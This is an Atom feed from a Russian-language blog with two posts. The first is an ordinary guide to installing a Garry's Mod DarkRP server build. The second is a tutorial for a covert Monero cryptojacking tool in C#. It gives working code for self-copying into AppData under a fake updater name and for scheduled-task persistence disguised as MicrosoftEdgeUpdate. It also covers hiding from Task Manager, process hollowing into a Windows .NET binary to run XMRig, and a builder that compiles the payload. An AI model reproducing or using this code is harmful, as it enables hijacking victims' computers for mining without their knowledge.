<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>VoLVeR</title><author><name>VoLVeR</name></author><id>https://teletype.in/atom/volver</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/volver?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@volver?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=volver"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/volver?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-05-14T00:40:49.146Z</updated><entry><id>volver:QdUaPWQjQ4N</id><link rel="alternate" type="text/html" href="https://teletype.in/@volver/QdUaPWQjQ4N?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=volver"></link><title>Как поставить сборку на свой сервер в Garry’s Mod</title><published>2022-10-31T21:16:39.753Z</published><updated>2022-10-31T21:16:39.753Z</updated><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/95/1a/951a2f60-be62-450b-b1bf-7d463f51c90d.png&quot;&gt;Возможно это сейчас не так актуально как мне кажется, но все же подобный туториал может кому то помочь. </summary><content type="html">
  &lt;p id=&quot;vxpv&quot;&gt;Возможно это сейчас не так актуально как мне кажется, но все же подобный туториал может кому то помочь. &lt;/p&gt;
  &lt;p id=&quot;xE0V&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;FLkH&quot;&gt;И так скачаем для примера мою сборку GramikRP, которую я делал для своего проекта. Скачать её можно в моем телеграмм канале: &lt;a href=&quot;https://t.me/VolVeRFM/32&quot; target=&quot;_blank&quot;&gt;https://t.me/VolVeRFM/32&lt;/a&gt; &lt;/p&gt;
  &lt;figure id=&quot;wcgy&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/95/1a/951a2f60-be62-450b-b1bf-7d463f51c90d.png&quot; width=&quot;1918&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;H45y&quot;&gt;После распаковки архива, видим куча непонятных папок, это все аддоны. Их нам нужно перекинуть в нашу с вами папку под названием addons. данная папка лежит по пути в garrysmod. Заходим в неё и перекидываем, с FTP если же хостинг, все делаем тоже самое.&lt;/p&gt;
  &lt;p id=&quot;J0nn&quot;&gt;После нам нужно установить режим для этой сборки (DarkRP). Его можно достать где угодно, написав в поиске DarkRP и скачать релиз &lt;a href=&quot;https://github.com/FPtje/DarkRP&quot; target=&quot;_blank&quot;&gt;https://github.com/FPtje/DarkRP&lt;/a&gt; FPtje&lt;/p&gt;
  &lt;p id=&quot;ngZG&quot;&gt;Дальше перекидываем папку DarkRP-master в gamemodes, она находится также в папке garrysmod. И переименовываем DarkRP-master в darkrp, и ставим режим darkrp. &lt;/p&gt;
  &lt;p id=&quot;0hGE&quot;&gt;Дальше дабы избежать неприятных error, нам нужно установить content:  &lt;a href=&quot;https://steamcommunity.com/sharedfiles/filedetails/?id=2344830606&quot; target=&quot;_blank&quot;&gt;https://steamcommunity.com/sharedfiles/filedetails/?id=2344830606&lt;/a&gt;  ID коллекции +host_workshop_collection &lt;a href=&quot;https://steamcommunity.com/sharedfiles/filedetails/?id=2344830606&quot; target=&quot;_blank&quot;&gt;2344830606 &lt;/a&gt;Так же убедитесь что бы все id данных аддонов были прописаны в darkrpmodification\lua\autorun\server\workshop.lua&lt;/p&gt;
  &lt;figure id=&quot;r1O1&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c3/4c/c34c61d2-2e10-4925-a7d8-852e552b6756.png&quot; width=&quot;978&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;tY2R&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/56/1b/561b95a2-d31d-45bd-80ca-17fb3d877fa5.png&quot; width=&quot;642&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;5B86&quot;&gt;Далее нам нужен css контент, скачать его можно тут: &lt;a href=&quot;https://drive.google.com/file/d/1id2lwYm7rzkrzGnRIhmlUyoSF634jz9Q/view&quot; target=&quot;_blank&quot;&gt;https://drive.google.com/file/d/1id2lwYm7rzkrzGnRIhmlUyoSF634jz9Q/view&lt;/a&gt;  Делаем все точно так же, и перекидываем его в папку addons.&lt;/p&gt;
  &lt;p id=&quot;b24w&quot;&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=5xdEGPPUdBc&quot; target=&quot;_blank&quot;&gt;https://www.youtube.com/watch?v=5xdEGPPUdBc&lt;/a&gt;  (Туториал)&lt;/p&gt;
  &lt;p id=&quot;JBMz&quot;&gt;Почти все готово, что бы повысить рейтинг серверу нам нужно: &lt;/p&gt;
  &lt;p id=&quot;aPzS&quot;&gt;Токен можно указать в разделе &amp;quot;Настройки&amp;quot; в параметре &amp;quot;Токен&amp;quot;&lt;br /&gt;Для того чтобы создать токен, вам нужно:&lt;br /&gt;1.Перейти на данную страницу: &lt;a href=&quot;https://steamcommunity.com/dev/&quot; target=&quot;_blank&quot;&gt;https://steamcommunity.com/dev/&lt;/a&gt;2.Указать в поле &amp;quot;Номер приложения&amp;quot; 4000 - это номер игры Garry&amp;#x27;s Mod&lt;br /&gt;3.Указать примечание (по желанию)&lt;br /&gt;4.Нажать кнопку &amp;quot;Создать&amp;quot;&lt;br /&gt;После того как вы создадите токен укажите его в в разделе &amp;quot;Настройки&amp;quot; в параметре &amp;quot;Токен&amp;quot; и сохраните изменения.&lt;br /&gt;После сохранения выполните перезапуск сервера.&lt;/p&gt;
  &lt;p id=&quot;9bBD&quot;&gt;И вписать его в токен после чего у вас будет рейтинг на сервере&lt;/p&gt;
  &lt;figure id=&quot;vlFl&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://sun9-19.userapi.com/impg/fJORROf58lAVnnehVLZolfDuwiWk34mEesrG2Q/u-LDV4ih9yU.jpg?size=128x100&amp;quality=96&amp;sign=59639337fb6add1aaff11027b2ae752c&amp;type=album&quot; width=&quot;128&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;wrMJ&quot;&gt;&lt;strong&gt;&lt;em&gt;Для отображение страны вашего сервера&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;TrTU&quot;&gt;Для отображения флага вам необходимо добавить в конфиг вашего сервера &amp;quot;/garrysmod/cfg/gmodserver.cfg&amp;quot; параметр sv_location &amp;quot;ru&amp;quot; (будет установлен Российский флаг).&lt;/p&gt;
  &lt;p id=&quot;NvNd&quot;&gt;&lt;em&gt;Теперь можно запускать. &lt;/em&gt;&lt;/p&gt;
  &lt;figure id=&quot;w1yZ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/58/f8/58f86555-2368-402b-aa7a-758d199d3056.png&quot; width=&quot;1919&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;xKHT&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/48/d3/48d3975e-72ff-4708-ad84-88d5d6eedfcb.png&quot; width=&quot;1919&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;0zXF&quot;&gt;Все мои сборки, в том числе и новые я скидываю в свой телеграмм канал : &lt;a href=&quot;https://t.me/VolVeRFM&quot; target=&quot;_blank&quot;&gt;https://t.me/VolVeRFM&lt;/a&gt;&lt;/p&gt;

</content></entry><entry><id>volver:VolVeRMINER</id><link rel="alternate" type="text/html" href="https://teletype.in/@volver/VolVeRMINER?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=volver"></link><title>Свой скрытый miner - builder на C#</title><published>2022-04-21T08:35:50.257Z</published><updated>2022-04-21T08:35:50.257Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/fb/9d/fb9d77d9-0ca5-4cf8-8caf-785d0f2fce28.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/a1/eb/a1ebd841-ba9d-40a0-b886-805ce64f4aa7.png&quot;&gt;https://t.me/VolVeRFM</summary><content type="html">
  &lt;p id=&quot;jFjL&quot;&gt;&lt;a href=&quot;https://t.me/VolVeRFM&quot; target=&quot;_blank&quot;&gt;https://t.me/VolVeRFM&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;CEI1&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;wyb3&quot;&gt;Привет всем!&lt;/p&gt;
  &lt;p id=&quot;oAte&quot;&gt;Сегодня покажу вам один из вариантов написание своего майнера, сделанного в билдер&lt;/p&gt;
  &lt;p id=&quot;Yd11&quot;&gt;Создаем проект C#, Консольное приложение (.NET Framework), выбираем платформу .NET Framework 4.6&lt;/p&gt;
  &lt;p id=&quot;FGqL&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;bCek&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a1/eb/a1ebd841-ba9d-40a0-b886-805ce64f4aa7.png&quot; width=&quot;720&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;vLq9&quot;&gt;Создаем, и первым делом пропишем установку нашего майнера, для этого я предпочитаю создать новый класс&lt;/p&gt;
  &lt;figure id=&quot;kB2h&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/cabfdfa49c7379fb16fef.png&quot; width=&quot;923&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;4TXI&quot;&gt;После можно назвать его &lt;em&gt;&lt;strong&gt;Installer&lt;/strong&gt;&lt;/em&gt;, для удобства.&lt;/p&gt;
  &lt;p id=&quot;Bl7w&quot;&gt;&lt;strong&gt;Code C#&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;Ilai&quot;&gt;&lt;code&gt;public FileInfo FileName = new FileInfo(&amp;quot;winupdater.exe&amp;quot;); // Задаем имя         нашего майнера&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;p4Ii&quot;&gt;&lt;code&gt;public DirectoryInfo DirectoryName = new DirectoryInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), &amp;quot;Windows&amp;quot;)); // Задаем путь в appdata&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Дальше создаем &lt;strong&gt;void&lt;/strong&gt;, который будет создавать  саму папку &lt;/p&gt;
  &lt;p id=&quot;SUKw&quot;&gt;&lt;code&gt;public void IsInstalled()&lt;br /&gt;{&lt;br /&gt;Path.Combine(DirectoryName.FullName, FileName.Name); // Полный путь, с именем в папке &lt;br /&gt;}&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;eN6C&quot;&gt;&lt;code&gt;        public void CreateDirectory()&lt;br /&gt;        {&lt;br /&gt;            if (DirectoryName.Exists) // Делаем проверку &lt;br /&gt;                return;&lt;br /&gt;            DirectoryName.Create(); // Создаем &lt;br /&gt;        }&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;5Pcs&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;W1R4&quot;&gt;Дальше создаем ещё один void с созданием  файла в папке, это будет наш майнер, который считываем содержимое файла в виде массива байтов, и публикуем, все то что в содержимом файле.&lt;/p&gt;
  &lt;p id=&quot;hIsq&quot;&gt;&lt;code&gt;public void InstallFile()&lt;br /&gt;        {&lt;br /&gt;   string path = Path.Combine(DirectoryName.FullName, FileName.Name);&lt;br /&gt;     if (FileName.Exists) // Опять проверяем &lt;br /&gt;            {&lt;br /&gt;                foreach (Process process in Process.GetProcesses())&lt;br /&gt;                {&lt;br /&gt;                    try&lt;br /&gt;                    {&lt;br /&gt;                        if (process.MainModule.FileName == path)&lt;br /&gt;                            process.Kill(); // Если есть процес, то убиваем&lt;br /&gt;                    }&lt;br /&gt;                    catch&lt;br /&gt;                    {&lt;br /&gt;                    }&lt;br /&gt;                }&lt;br /&gt;                File.Delete(path);// Если есть папка, удаляем&lt;br /&gt;                Thread.Sleep(280); // Задержка&lt;br /&gt;            }&lt;br /&gt; using (FileStream fileStream = new FileStream(path, FileMode.Create, FileAccess.Write))&lt;br /&gt;            {&lt;br /&gt; byte[] buffer = File.ReadAllBytes(Application.ExecutablePath); // Считываем содержимое файла в виде массива байтов&lt;br /&gt;fileStream.Write(buffer, 0, buffer.Length); // И публикуем, все то что в содержимом файле&lt;br /&gt;            }&lt;br /&gt;        }&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;c8AA&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;qaeM&quot;&gt;И запуск)&lt;/p&gt;
  &lt;p id=&quot;wb5q&quot;&gt;&lt;code&gt;        public void Run()&lt;br /&gt;        {&lt;br /&gt;            try&lt;br /&gt;            {&lt;br /&gt;                IsInstalled();&lt;br /&gt;                CreateDirectory();&lt;br /&gt;                InstallFile();&lt;br /&gt;            }&lt;br /&gt;            catch&lt;br /&gt;            {&lt;br /&gt;            }&lt;br /&gt;        }&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;U5Ue&quot; class=&quot;m_retina&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/57/ab/57abedf8-4943-41ac-838a-b0e1512dbe6d.png&quot; width=&quot;555&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;REZj&quot;&gt;Дальше идем в &lt;strong&gt;Program &lt;/strong&gt;и в &lt;strong&gt;Main  &lt;/strong&gt;пишем следующий код&lt;/p&gt;
  &lt;p id=&quot;vesI&quot;&gt;&lt;code&gt; try&lt;br /&gt; {&lt;br /&gt;   new Installer().Run();&lt;br /&gt; }&lt;br /&gt; catch (Exception ex)&lt;br /&gt; {&lt;br /&gt; }&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;AK2T&quot;&gt;Дальше прыгаем в планировщик задач&lt;/p&gt;
  &lt;p id=&quot;wERI&quot;&gt;&lt;code&gt;string FileName = &amp;quot;winupdater.exe&amp;quot;; // Название процесса &lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;vafl&quot;&gt;&lt;code&gt;string folder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), &amp;quot;Windows&amp;quot;); // Путь в appdata&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;sLzP&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;IwVi&quot;&gt;&lt;code&gt;  try&lt;br /&gt;  {&lt;br /&gt;   var startInfo = new ProcessStartInfo // Идем в планировщик задач&lt;br /&gt;   {&lt;br /&gt;    FileName = &amp;quot;schtasks.exe&amp;quot;,&lt;br /&gt;    CreateNoWindow = false,&lt;br /&gt;    WindowStyle = ProcessWindowStyle.Hidden, // Скрываем&lt;br /&gt; Arguments = @&amp;quot;/create /sc MINUTE /mo 3 /tn &amp;quot;&amp;quot;MicrosoftEdgeUpdate&amp;quot;&amp;quot; /tr &amp;quot;&amp;quot;&amp;quot; + folder + &amp;quot;\\&amp;quot; + FileName + @&amp;quot;&amp;quot;&amp;quot; /f&amp;quot; // Задаем аргументы&lt;br /&gt;   };&lt;br /&gt;    Process.Start(startInfo); // Запускаем&lt;br /&gt;   }&lt;br /&gt;  catch { }&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;yzCr&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;3nJ9&quot;&gt;Дальше делаем обозначения &lt;/p&gt;
  &lt;p id=&quot;EX4i&quot;&gt; &lt;code&gt;const string pool = &amp;quot;pool.hashvault.pro:80&amp;quot;; // Наши значения в строке pool&lt;br /&gt; const string moneroUsage = &amp;quot;25&amp;quot;; &lt;br /&gt; const string moneroWallet = &amp;quot;&amp;quot;; // Наши значения в строке moneroWallet&lt;br /&gt;&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;fZcS&quot;&gt;&lt;code&gt;byte[] xmr = Resources.xmrig;&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;qhW7&quot;&gt;&lt;code&gt; &lt;br /&gt;string args2 = &amp;quot;--algo rx/0 --donate-level 0   --max-cpu-usage &amp;quot; + moneroUsage + &amp;quot; -o&amp;quot; + pool + &amp;quot; -u &amp;quot; + moneroWallet; // Добавим аргументов&lt;br /&gt;&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;ZEDL&quot;&gt;&lt;code&gt;string withoutExtension1 = Path.GetFileNameWithoutExtension(&amp;quot;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngentask.exe&amp;quot;); // Путь для запуска&lt;/code&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p id=&quot;vMyT&quot;&gt;&lt;code&gt;Дальше добавим лист&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;3fNr&quot;&gt;&lt;code&gt;List&amp;lt;string&amp;gt; stringList = new List&amp;lt;string&amp;gt;(); // Создаем лист процессов при которых будет останавливаться &lt;br /&gt;                stringList.Add(&amp;quot;mmc&amp;quot;);&lt;br /&gt;                stringList.Add(&amp;quot;ProcessHacker&amp;quot;);&lt;br /&gt;                stringList.Add(&amp;quot;Taskmgr&amp;quot;);&lt;br /&gt;                stringList.Add(&amp;quot;Диспетчер задач&amp;quot;);&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;SDOy&quot;&gt;&lt;code&gt;   try&lt;br /&gt;   {&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;v73h&quot;&gt;&lt;code&gt;  foreach (string processName in stringList)&lt;br /&gt;   {&lt;br /&gt; for (Process[] processesByName = Process.GetProcessesByName(processName); processesByName.Length != 0; processesByName =  Process.GetProcessesByName(processName))&lt;br /&gt;   {&lt;br /&gt;foreach (Process process in Process.GetProcessesByName(withoutExtension1))&lt;br /&gt;   {&lt;br /&gt;       try&lt;br /&gt;       {&lt;br /&gt;        process.Kill();  &lt;br /&gt;        }&lt;br /&gt;         catch&lt;br /&gt;        {&lt;br /&gt;        }&lt;br /&gt;        }&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;SG2A&quot;&gt;&lt;code&gt;        }&lt;br /&gt;        }&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;Z5eq&quot;&gt;&lt;code&gt;        }&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;Qi74&quot;&gt;&lt;code&gt;      catch { }&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;Es6j&quot;&gt;Дальше делаем запуск майнера &lt;/p&gt;
  &lt;p id=&quot;lumW&quot;&gt;&lt;code&gt; try&lt;br /&gt;  {&lt;br /&gt;   if (Process.GetProcessesByName(withoutExtension1).Length == 0)&lt;br /&gt;Program.PE.Run(xmr,&amp;quot;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngentask.exe&amp;quot;, args2); // Запускаем                                                                                                                     &lt;br /&gt;  }&lt;br /&gt;  catch { }&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;GYyy&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;QzDg&quot;&gt;Дальше в &lt;strong&gt;классе Program&lt;/strong&gt;, вставляем код&lt;/p&gt;
  &lt;p id=&quot;jJRG&quot;&gt; &lt;code&gt;public static class PE&lt;br /&gt;        {&lt;br /&gt;            [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;            private static extern unsafe bool CreateProcess(&lt;br /&gt;              string lpApplicationName,&lt;br /&gt;              string lpCommandLine,&lt;br /&gt;              IntPtr lpProcessAttributes,&lt;br /&gt;              IntPtr lpThreadAttributes,&lt;br /&gt;              bool bInheritHandles,&lt;br /&gt;              uint dwCreationFlags,&lt;br /&gt;              IntPtr lpEnvironment,&lt;br /&gt;              string lpCurrentDirectory,&lt;br /&gt;              Program.PE.StartupInfo* lpStartupInfo,&lt;br /&gt;              byte[] lpProcessInfo);&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;KsQ8&quot;&gt;&lt;code&gt;            [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;            private static extern long VirtualAllocEx(&lt;br /&gt;              long hProcess,&lt;br /&gt;              long lpAddress,&lt;br /&gt;              long dwSize,&lt;br /&gt;              uint flAllocationType,&lt;br /&gt;              uint flProtect);&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;szGD&quot;&gt;&lt;code&gt;            [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;            private static extern long WriteProcessMemory(&lt;br /&gt;              long hProcess,&lt;br /&gt;              long lpBaseAddress,&lt;br /&gt;              byte[] lpBuffer,&lt;br /&gt;              int nSize,&lt;br /&gt;              long written);&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;piXx&quot;&gt;&lt;code&gt;            [DllImport(&amp;quot;ntdll.dll&amp;quot;)]&lt;br /&gt;            private static extern uint ZwUnmapViewOfSection(long ProcessHandle, long BaseAddress);&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;sZkK&quot;&gt;&lt;code&gt;            [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;            private static extern bool SetThreadContext(long hThread, IntPtr lpContext);&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;hoeW&quot;&gt;&lt;code&gt;            [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;            private static extern bool GetThreadContext(long hThread, IntPtr lpContext);&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;SrU0&quot;&gt;&lt;code&gt;            [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;            private static extern uint ResumeThread(long hThread);&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;ypXA&quot;&gt;&lt;code&gt;&lt;br /&gt;            [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;            private static extern bool CloseHandle(long handle);&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;A4uX&quot;&gt;&lt;code&gt;            public static unsafe void Run(byte[] payloadBuffer, string host, string args)&lt;br /&gt;            {&lt;br /&gt;       int num1 = Marshal.ReadInt32((object)payloadBuffer, 60);&lt;br /&gt;       int num2 = Marshal.ReadInt32((object)payloadBuffer, num1 + 24 + 56);&lt;br /&gt;       int nSize = Marshal.ReadInt32((object)payloadBuffer, num1 + 24 + 60);&lt;br /&gt;       int num3 = Marshal.ReadInt32((object)payloadBuffer, num1 + 24 + 16);&lt;br /&gt;       short num4 = Marshal.ReadInt16((object)payloadBuffer, num1 + 4 + 2);&lt;br /&gt;       short num5 = Marshal.ReadInt16((object)payloadBuffer, num1 + 4 + 16);&lt;br /&gt;       long num6 = Marshal.ReadInt64((object)payloadBuffer, num1 + 24 + 24);&lt;br /&gt;       Program.PE.StartupInfo startupInfo = new Program.PE.StartupInfo();&lt;br /&gt;startupInfo.cb = (uint)Marshal.SizeOf&amp;lt;Program.PE.StartupInfo&amp;gt;(startupInfo);&lt;br /&gt;                startupInfo.wShowWindow = (ushort)0;&lt;br /&gt;                startupInfo.dwFlags = 1U;&lt;br /&gt;                byte[] lpProcessInfo = new byte[24];&lt;br /&gt;                IntPtr num7 = Marshal.AllocHGlobal(1232 / 16);&lt;br /&gt;                string lpCommandLine = host;&lt;br /&gt;                if (!string.IsNullOrEmpty(args))&lt;br /&gt;                    lpCommandLine = lpCommandLine + &amp;quot; &amp;quot; + args;&lt;br /&gt;                string currentDirectory = Directory.GetCurrentDirectory();&lt;br /&gt;                Marshal.WriteInt32(num7, 48, 1048603);&lt;br /&gt; Program.PE.CreateProcess((string)null, lpCommandLine, IntPtr.Zero, IntPtr.Zero, true, 4U, IntPtr.Zero, currentDirectory, &amp;amp;startupInfo, lpProcessInfo);&lt;br /&gt;                long num8 = Marshal.ReadInt64((object)lpProcessInfo, 0);&lt;br /&gt;                long num9 = Marshal.ReadInt64((object)lpProcessInfo, 8);&lt;br /&gt;                int num10 = (int)Program.PE.ZwUnmapViewOfSection(num8, num6);&lt;br /&gt;                Program.PE.VirtualAllocEx(num8, num6, (long)num2, 12288U, 64U);&lt;br /&gt;                Program.PE.WriteProcessMemory(num8, num6, payloadBuffer, nSize, 0L);&lt;br /&gt;                for (short index = 0; (int)index &amp;lt; (int)num4; ++index)&lt;br /&gt;                {&lt;br /&gt;                    byte[] numArray = new byte[40];&lt;br /&gt;                    Buffer.BlockCopy((Array)payloadBuffer, num1 + (24 + (int)num5) + 40 * (int)index, (Array)numArray, 0, 40);&lt;br /&gt;                    int num11 = Marshal.ReadInt32((object)numArray, 12);&lt;br /&gt;                    int length = Marshal.ReadInt32((object)numArray, 16);&lt;br /&gt;                    int srcOffset = Marshal.ReadInt32((object)numArray, 20);&lt;br /&gt;                    byte[] lpBuffer = new byte[length];&lt;br /&gt;                    Buffer.BlockCopy((Array)payloadBuffer, srcOffset, (Array)lpBuffer, 0, lpBuffer.Length);&lt;br /&gt;                    Program.PE.WriteProcessMemory(num8, num6 + (long)num11, lpBuffer, lpBuffer.Length, 0L);&lt;br /&gt;                }&lt;br /&gt;                Program.PE.GetThreadContext(num9, num7);&lt;br /&gt;                byte[] bytes = BitConverter.GetBytes(num6);&lt;br /&gt;                long num12 = Marshal.ReadInt64(num7, 136);&lt;br /&gt;                Program.PE.WriteProcessMemory(num8, num12 + 16L, bytes, 8, 0L);&lt;br /&gt;                Marshal.WriteInt64(num7, 128, num6 + (long)num3);&lt;br /&gt;                Program.PE.SetThreadContext(num9, num7);&lt;br /&gt;                int num13 = (int)Program.PE.ResumeThread(num9);&lt;br /&gt;                Marshal.FreeHGlobal(num7);&lt;br /&gt;                Program.PE.CloseHandle(num8);&lt;br /&gt;                Program.PE.CloseHandle(num9);&lt;br /&gt;            }&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;IFvk&quot;&gt;&lt;code&gt;            [StructLayout(LayoutKind.Explicit, Size = 104)]&lt;br /&gt;            public struct StartupInfo&lt;br /&gt;            {&lt;br /&gt;                [FieldOffset(0)]&lt;br /&gt;                public uint cb;&lt;br /&gt;                [FieldOffset(60)]&lt;br /&gt;                public uint dwFlags;&lt;br /&gt;                [FieldOffset(64)]&lt;br /&gt;                public ushort wShowWindow;&lt;br /&gt;            }&lt;br /&gt;        }&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;olJG&quot; class=&quot;m_retina&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9a/14/9a141d2c-a799-4ab1-ae6c-6ca74ee978f3.png&quot; width=&quot;514&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Yq72&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;lALI&quot;&gt;Дальше для удобства создаем builder&lt;/p&gt;
  &lt;figure id=&quot;5PEJ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b7/fb/b7fbf78d-49a3-42c3-a7ee-ea349ba428cf.png&quot; width=&quot;881&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Kn6J&quot;&gt;Создаем и накидываем пару &lt;strong&gt;textBox &lt;/strong&gt;для кошелька и пула, и &lt;strong&gt;button &lt;/strong&gt;для создания build. Получаем вот такую картину &lt;/p&gt;
  &lt;figure id=&quot;p9zG&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/50/43/50436833-5347-4e6d-a361-71aecd7c0bf4.png&quot; width=&quot;732&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;aOD6&quot;&gt;Дальше делаем значение &lt;strong&gt;button1_Click&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;pU5L&quot;&gt;&lt;code&gt; CompilerParameters Params = new CompilerParameters();&lt;br /&gt;  Params.GenerateExecutable = true;&lt;br /&gt;  Params.ReferencedAssemblies.Add(&amp;quot;System.dll&amp;quot;); //Добавлем линк в исходный файл на System.dll &lt;br /&gt;  Params.ReferencedAssemblies.Add(&amp;quot;System.Windows.Forms.dll&amp;quot;); //Тоже самое но на System.Windwos.Forms.dlle&lt;br /&gt;  Params.ReferencedAssemblies.Add(&amp;quot;System.Management.dll&amp;quot;);&lt;br /&gt;  Params.ReferencedAssemblies.Add(&amp;quot;System.Core.dll&amp;quot;);&lt;br /&gt;  Params.CompilerOptions = &amp;quot;/unsafe&amp;quot;;&lt;br /&gt;  Params.CompilerOptions += &amp;quot;\n/t:winexe&amp;quot;; //Убираем cmd окно путём объявления программы Windows приложением&lt;br /&gt;  Params.OutputAssembly = &amp;quot;Build.exe&amp;quot;; //Имя исходного файла&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;Gm9h&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;K1U2&quot;&gt;Дальше кидаем в ресурсы наш код, и xmrig &lt;/p&gt;
  &lt;figure id=&quot;kXxL&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d2/7d/d27dbf62-c316-4e7b-a351-9df0cc8eb993.png&quot; width=&quot;783&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;cS7R&quot;&gt;Дальше опять прописываем в &lt;strong&gt;button1_Click&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;TWyY&quot;&gt;&lt;code&gt;  string resource = Properties.Resources.Program;&lt;br /&gt;  string resource2 = Properties.Resources.Installer;&lt;br /&gt;  string resource3 = Properties.Resources.Resources_Designer;&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;BfF3&quot;&gt;&lt;/p&gt;
